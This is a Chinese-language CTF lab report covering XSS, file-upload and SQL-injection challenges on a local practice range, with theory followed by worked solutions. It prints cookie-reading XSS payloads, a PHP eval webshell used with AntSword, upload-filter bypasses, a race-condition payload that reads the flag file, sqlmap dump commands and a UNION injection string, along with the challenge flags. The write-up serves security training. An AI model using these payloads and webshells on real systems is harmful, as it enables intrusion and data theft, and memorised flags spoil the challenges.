CTF靶場測試報告
一.跨站腳本攻擊(XSS)
實驗原理:跨站腳本攻擊( Cross Site Script),本來的縮寫應為CSS,但是為了與層疊樣式表(Cascading Style CSS)區分,所以在安全領域中叫XSS。
XSS攻擊,通常指攻擊者通過“HTML注入”篡改網頁並插入惡意的腳本,在其他用戶瀏覽此網頁時控制用戶瀏覽器的一種攻擊,它是一種針對網站應用程序的安全漏洞攻擊技術,也是代碼注入的一種。這種攻擊在起初的演示案例上是跨域的,所以被叫做“跨站腳本”。惡意的攻擊者利用XSS攻擊可以得到私密網頁內容、回話、cookie甚至得到很高的權限等。
XSS根據效果的不同可以分成如下幾類:
(1)第一種類型:反射型XSS
反射型XSS 只是簡單的把用戶輸入的數據“反射”給瀏覽器,攻擊者往往需要誘導目標用戶去打開一個惡意的鏈接才能成功的發起攻擊。 攻擊方式攻擊者首先將包含XSS代碼的惡意鏈接通過電子郵件等方式發送給目標用戶,只要目標用戶訪問該鏈接,服務器便會接受該目標用戶的請求並進行處理,然后服務器把帶有XSS代碼的數據發送給目標用戶的瀏覽器,瀏覽器解析這段帶有XSS代碼的惡意腳本之后就會觸發XSS漏洞,從而達到攻擊者的目的。 反射型XSS也叫做“非持久型XSS (Non-persistent XSS)”,這種攻擊方式往往具有一次性。
(2)第二種類型:存儲型XSS
存儲型xSS會將惡意攻擊腳本永久的存放在目標服務器或者文件中。這種xsS具有很強的穩定性,也叫作“存儲型XSS”。
攻擊方式此攻擊常見於博客,論壇等。攻擊者寫下包含惡意代碼的文章或者評論,當
文章或者評論發表后惡意代碼便會連同正常信息一起被服務器存儲下來,當其他的用戶訪問包含了惡意代碼的文章或者留言板時,惡意腳本就會在他們的瀏覽器中執行,從而達到攻擊者的目的。存儲型XSS通常也叫作“持久型XSS”(Persistent XsS),它存在的時間是比較長的。
(3)第三種類型:DOM型XSS
DOM(Document Object Model)型 XSS是一種特殊的反射型XSs,它是基於DOM文檔對象模型的一種漏洞,使用DOM可以使程序和腳本能夠動態的更新和訪問文檔的內容、結構以及樣式,通過修改頁面的DOM節點形成的XSS稱之為DOM型 XSS。
HTML的標簽都是節點,而這些節點組成了DOM的整體結構——節點樹。通過 HTMLDOM,樹中的所有節點均可通過javaScript進行訪問。所有HTML節點均可以被修改,也可以創建或刪除節點。
在網站頁面中有許多元素,當頁面到達瀏覽器時,瀏覽器會為頁面創建一個頂級的Document object文檔對象,接着生成各個子文檔對象,每個頁面元素對應一個文檔對象,每個文檔對象包含屬性、方法和時間。可以通過JS腳本對文檔對象進行編輯,從而修改頁面的元素。也就是說,客戶端的腳本程序可以通過DOM動態修改頁面內容,從客戶端獲取DOM中的數據並在本地執行。憂郁 DOM實在客戶端修改節點的,所以基於DOM型的漏洞不需要與服務端進行交互,它只發生在客戶端處理數據的階段。
攻擊方式:攻擊者提交一個精心設計而且包含XSS代碼的URL,當用戶請求這個URL,服務器的響應不會以任何形式包含攻擊者的腳本。當用戶的瀏覽器處理這個響應時,DOM對象就會處理XSS的代碼,導致存在XSS漏洞。
- 啟動瀏覽器輸入鏈接打開CFT靶場,選擇菜單欄挑戰,如下圖所示:
1.選擇XSS-反射型XSS,進入題目
思路:首先看到有注入點,輸入命令:<script>alert(document.cookie)</script>
,進行測試,點擊提交,下圖所示:
提交后頁面輸出位子原樣輸出說明我們寫的<script>alert(document.cookie)</script>
,語句未被瀏覽器所執行,此時我們點擊鼠標右鍵查看網頁源代碼,如下圖所示:
觀察網頁源代碼我們剛剛寫入的<script>alert(document.cookie)</script>
,觀察被當成文字執行了,所以網頁會原樣輸出,此時我們首先要閉合前面的input語句,輸入"><script>alert(document.cookie)</script>
,"> 的作用是提前閉合input語句,然后再執行我們寫的script語句,如下圖所示:
輸出"><script>alert(document.cookie)</script>
,點擊提交,如下圖所示:
此時我們成功得到了這題的flag了!將flag復制到HackBar里面進行編碼,如下圖所示:flag{el_Sh6nvMF7jIAbn}
2.選擇XSS-存儲型XSS,進入題目
思路:此時我們同樣輸入<script>alert(document.cookie)</script>
,或者還可以輸入<img src=x onerror=alert(document.cookie)>
,這兩句語句都可以進行測試,發現語句都可以被執行了,如下圖所示:
此時我們成功得到了這題的flag了!將flag復制到HackBar里面進行編碼,如下圖所示:flag=flag{el_hJPwFl0fT1GJV}
3.選擇XSS-DOM型XSS,進入題目
思路:這題有彩蛋直接F12進入開發者模式,查看Application的Cookies發現flag就在里面藏着在,如下圖所示:flag{el_Y7yMJE7BcfhBk}
二.文件上傳漏洞
實驗原理:文件上傳是互聯網應用中的一個常用功能,例如上傳一張圖片;上傳一段視頻;論壇發帖附帶附件等等。
上傳文件時,如果服務端沒有對代碼進行嚴格的驗證以及過濾,就容易造成允許上傳任意文件的情況,“文件上傳”本身沒有問題,但是問題在於文件上傳后,服務器怎么處理、解釋此文件。若上傳文件是web腳本語言,服務器的web容器會解釋並執行用戶上傳的腳本,導致代碼的執行,惡意的腳本文件會控制整個網站,甚至控制服務器。若上傳的是病毒,木馬文件,黑客用以誘騙用戶或者管理員下載執行。上傳文件是釣魚圖片或為包含了腳本的圖片,在某些版本的瀏覽器中會被作為腳本執行,被用於釣魚和欺詐。
大多數情況下,文件上傳漏洞一般都是指“上傳 Web腳本能夠被服務器解析”的問題,也就是通常所說的 webshell的問題。要完成這個攻擊,要滿足如下幾個條件。
首先,上傳的文件能夠被Web容器解釋執行。所以文件上傳后所在的目錄要是 web容器所覆蓋到對的路徑。
其次,用戶能夠從web上訪問這個文件。如果文件上傳了,但用戶無法通過web訪問,或者無法使得web容器解釋這個腳本,那么也不能稱之為漏洞。
最后,用戶上傳的文件若被安全檢查、格式化、圖片壓縮等功能改變了內容,則也可能導致攻擊不成功。
1.選擇文件上傳-JS繞過,進入題目
進入題目,觀察網頁有一個上傳文件的地方,如下圖所示:
思路:我們先創建記事本構造一個一句話木馬語句:<?php @eval($_POST['zsz']);?>
,如下圖所示:
保存到本地主機后,修改后綴名為.php文件,然后進行網頁上傳我們剛剛創建的muma.php一句話木馬,上傳的時候發現被前端攔截了,如下圖所示:
此時我們按F12打開瀏覽器開發者模式,將javaScript功能關閉,如下圖所示:
接下來我們再次進行上傳muma.php文件,如下圖所示:
此時發現已經可以上傳了,點擊submit按鈕上傳,如下圖所示:
上傳成功了,我們獲取到了剛剛我們上傳的muma.php的路徑,接下來我們使用中國蟻劍進行里鏈接,如下圖所示:
數據添加成功后,雙擊添加的數據入侵到服務器中,如下圖所示:
此時我們已經成功入侵到了目標服務器了,接下來我們需要找到flag的藏身之處,經過查找發現flag了,如下圖所示:
最后flag成功拿下,如下圖所示:flag{el_sSsJUsCznNJ8o}
2.選擇文件上傳-文件類型繞過1,進入題目
思路:首先測試muma.php文件是否可以正常上傳,發現被攔截不允許上傳該格式的文件,如下圖所示:
此時我們使用另外一種Burp Suite professional 工具,設置瀏覽器代理模式,用Burp Suite professional進行抓包重構發送的數據包,如下圖所示:
接下來右鍵鼠標發送到Repeater模塊,將數據包中Content-Type:修改為 image/jpeg進行繞過,如下如所示:
上傳成功了,我們獲取到了剛剛我們上傳的muma.php的路徑,接下來我們使用中國蟻劍進行里鏈接,如下圖所示:
數據添加成功后,雙擊添加的數據入侵到服務器中,如下圖所示:
進入終端后,輸入命令:cat ../../../../flag,可以查看flag,如下圖所示:flag{el_4vUiULbIISkA0}
3.選擇文件上傳-文件類型繞過,進入題目
思路:進入題目后發現有一個上傳點,首先先上傳muma.php測試一下,如下圖所示:
點擊上傳發現提示不允許上傳.asp,.aspx,.php,.jsp后綴文件!,如下圖所示:
此時我們使用Burp Suite professional 工具,設置瀏覽器代理模式,用Burp Suite professional進行抓包重構發送的數據包,如下圖所示:
上傳成功了,我們獲取到了剛剛我們上傳的muma.phtml的路徑,接下來我們使用中國蟻劍進行里鏈接,如下圖所示:
數據添加成功后,雙擊添加的數據入侵到服務器中,如下圖所示:
右鍵在此打開終端,如下圖所示:
進入終端后,輸入命令:cat ../../../../flag,可以查看flag,此題因為題目配置問題服務器中無flag,如下圖所示:答案:flag{el_zAI4gHiRONOcy}
4.選擇文件上傳-文件后綴繞過,進入題目
思路:首先測試muma.php文件是否可以正常上傳,發現被攔截不允許上傳該格式的文件,如下圖所示:
上傳文件后頁面返回不允許的后綴名,如下圖所示:
此時我們使用Burp Suite professional 工具,設置瀏覽器代理模式,用Burp Suite professional進行抓包重構發送的數據包,如下圖所示:
接下來右鍵鼠標發送到Repeater模塊,將數據包中文件后綴進行修改為 muma.php.phtml進行繞過,如下如所示:
上傳成功了,我們獲取到了剛剛我們上傳的muma.php.phtml的路徑,接下來我們使用中國蟻劍進行里鏈接,如下圖所示:
數據添加成功后,雙擊添加的數據入侵到服務器中,如下圖所示:
右鍵進入終端,輸入命令:cat ../../../../flag,可以查看flag,如下圖所示:flag{el_H5MGyqiz31Xey}
5.選擇文件上傳-競爭條件,進入題目
思路:首先測試muma.php文件是否可以正常上傳,發現上傳過程很慢,並且顯示上傳成功且有路徑,如下圖所示:
接下來通過中國蟻劍連接,發現連接不上,說明服務器將我們剛剛上傳的文件已經刪除了,如下圖所示:
此時我們通過條件競爭原理進行滲透,我們使用Burp Suite professional 工具,設置瀏覽器代理模式,用Burp Suite professional進行抓包進行重放攻擊,同時使用瀏覽器訪問剛剛的路徑產生條件競爭再次使用Burp Suite professional進行抓包進行重放攻擊,如下圖所示:
首先設置上傳包將文件內容修改為:
<?php
echo "upload success!\n";
system("cat ../../../../flag");
?>
同時我們設置訪問包,如下圖所示:
最后先發送上傳包的同時立刻發送請求包,就可以實現條件競爭,從而獲取flag,如下圖所示:flag{el_PnaSoaWmWuFiS}
三.SQL注入攻擊基礎
實驗原理:注入攻擊是web安全領域中一種最為常見的攻擊方式。注入攻擊的本質是把用戶輸入的數據當做代碼執行。這里有兩個關鍵的條件,第一個是用戶能夠控制數據的輸入;第二個是原本程序要執行的代碼,拼接了用戶輸入的數據。
SQL注入就是指Web應用程序對用戶輸入數據的合法性沒有進行判斷,從而攻擊者從前端傳入到后端的參數是攻擊者可控制的,這些參數會帶入數據庫查詢,所以攻擊者可以通過構造不同的SQL語句來實現對數據庫的任意操作。
以如下PHP語句為例:
$query = "SELECT* FROM users WHERE id = $_GET['id']";
當傳入的ID參數為1時,數據庫執行的代碼如下所示:
SELECT*FROM users WHERE id = 1
當傳入的ID參數為1 and 1=1,數據庫執行的代碼如下所示:
SELECT*FROM users WHERE id = 1 and 1=1
當傳入的ID參數為攻擊者精心准備的代碼時,數據庫便會執行這些代碼從而達到了攻擊者的某些目的。
SQL注入漏洞產生需要滿足以下兩個條件:
(1)參數用戶可控:前端傳給后端的參數內容是用戶可以控制的
(2)參數帶入數據庫查詢:傳入的參數拼接到SQL語句,且帶入數據庫查詢。
在SQL注入的過程中,如果網站的 Web服務器開啟了錯誤回顯,則會為攻擊者提供極大的便利,比如攻擊者在參數中輸入一個單引號“ ' ”,引起執行查詢語句的語法錯誤,服務器直接返回了錯誤信息。
SQLMap是一款命令行界面開源的滲透測試工具(自動化 sql注入),sqlmap可以自動化地偵測和實施SQL注入攻擊以及滲透數據庫服務器。sqlmap 配有強大的偵測引擎,適用於高級滲透測試用戶,不僅可以獲得不同數據庫的指紋信息,還可以從數據庫中提取數據,此外還能夠處理潛在的文件系統以及通過數據連接執行系統命令。
SQLMap支持MySQL,Oracle,PostgreSQL,Microsoft SQL Server,MicrosoftAccess,IBM DB2,SQLite, Firebird,Sybase和SAPMaxDB等數據庫的各種安全漏洞檢測。
SQLMap采用以下五種獨特的SQL注入技術。
(1)基於布爾的盲注,即可以根據返回頁面判斷條件真假的注入。
(2)基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。
(3)基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中。
(4)聯合查詢注入,可以使用union的情況下的注入。
(5)堆查詢注入,可以同時執行多條語句的執行時的注入。
1.選擇SQL注入-union注入,進入題目
Sqlmap使用步驟:
(1)首先判斷是否存在注入點:
命令:sqlmap -u http://127.0.0.1:22171/?id=1
(2)確認存在注入點之后,使用--dbs命令枚舉當前用戶下的所有數據庫,如當前用戶有權限讀取所有數據庫列表信息的表,使用該命令就可以列出所有數據庫,如下圖所示:
命令:sqlmap -u http://127.0.0.1:22171/?id=1 --dbs
(3)使用--current-db獲取當前web應用所連接的數據庫,從圖中可以得知當前Web應用連接的數據庫為test,如下圖所示:
命令:sqlmap -u http://127.0.0.1:22171/?id=1 --current-db
(4)得知數據庫為test之后,繼續進行注入,使用-D參數和--tables參數查詢數據庫test中給所有表名,-D參數用來指定某一個具體的數據庫,命令如下,結果如圖13-3-11所示,從圖中可以得知 test 數據庫中有三個表名。(如果不使用-D參數指定某個具體的數據庫,那么就會列出數據庫中所有的表),如下圖所示:
(5)得知表名之后繼續注入使用-D參數、-T參數和--columns獲取指定數據庫中指定表中的字段名,-D參數用於指定一個具體數據庫,-T參數用於指定一個具體的表,如下圖所示:
命令:sqlmap -u http://127.0.0.1:22171/?id=1 -D test –T flag --columns
(6) 得知字段名之后繼續注入使用-D參數、-T參數、-C參數和--dump獲取指定字段中的具體數據,-D參數用於指定一個具體數據庫,-T參數用於指定一個具體的表,-C參數用於指定具體的字段,命令如下。(如果不使用-c參數指定字段,那么就會列出數據庫中所有的字段值),如下圖所示:
命令:sqlmap -u http://127.0.0.1:22171/?id=1 -D test –T flag -C flag --dump
此時我們就成功得到了flag:flag{el_MqZG5mRXXiSYg}
接下來:
boolean注入(flag{el_AUSuaYQLcxXkT}
);
時間注入(flag{el_O5QWWhz9QmNHb}
);
堆疊注入(flag{el_ofFOxDdOfsaaK}
);
cookie注入(flag{el_dmycZJRSWN77g}
);
bash64注入(flag{el_uItls8C02hDPV}
);
操作步驟一樣,此處因為個人時間原因就不一一操作了。
2.選擇sql注入-二次注入,進入題目
思路:打開注冊頁面,在源URL后添加 ' union select 1,2,(select flag from test.flag) --+
,獲取新的注冊id:54,如下圖所示:
然后將獲取的新id:54,到獲取數據頁面修改id=54,如下圖所示:
此時我們就成功獲取到了二次注入的flag了,flag{Qye43YcL1H7ex}